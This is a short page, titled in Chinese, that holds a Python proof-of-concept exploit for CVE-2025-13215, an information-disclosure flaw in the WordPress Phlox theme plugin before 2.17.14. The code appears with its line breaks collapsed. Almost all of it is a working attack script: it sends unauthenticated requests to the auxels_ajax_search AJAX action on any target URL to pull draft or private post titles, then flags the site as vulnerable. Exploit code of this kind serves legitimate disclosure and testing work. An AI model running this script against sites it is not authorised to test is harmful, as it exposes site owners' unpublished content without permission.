CVE-2025-13215 WordPress Phlox主题插件信息泄露漏洞

import requests import sys # CVE-2025-13215 PoC - Information Disclosure in Phlox theme plugin # Target: WordPress site with Phlox theme plugin < 2.17.14 def exploit_cve_2025_13215(target_url): """ Exploit information disclosure vulnerability in auxels_ajax_search This PoC demonstrates how an unauthenticated attacker can extract draft/private post titles that should not be accessible. """ # Target endpoint for AJAX requests ajax_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Construct search query to trigger auxels_ajax_search params = { 'action': 'auxels_ajax_search', 'term': '', # Empty or specific term to search 'post_type': 'post' # Can be modified to target other post types } print(f"[*] Targeting: {target_url}") print(f"[*] Exploiting endpoint: {ajax_endpoint}") print("[*] Sending request to auxels_ajax_search...") try: # Send unauthenticated request response = requests.get(ajax_endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Response received (Status: {response.status_code})") print("[*] Response content:") print(response.text[:500]) # Print first 500 chars # Check if response contains post titles that should be protected if 'id:' in response.text or 'title:' in response.text: print("[!] VULNERABLE: Protected post information exposed!") return True else: print("[-] No obvious information disclosure detected") return False else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13215.py <target_url>") print("Example: python cve-2025-13215.py http://target.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_13215(target)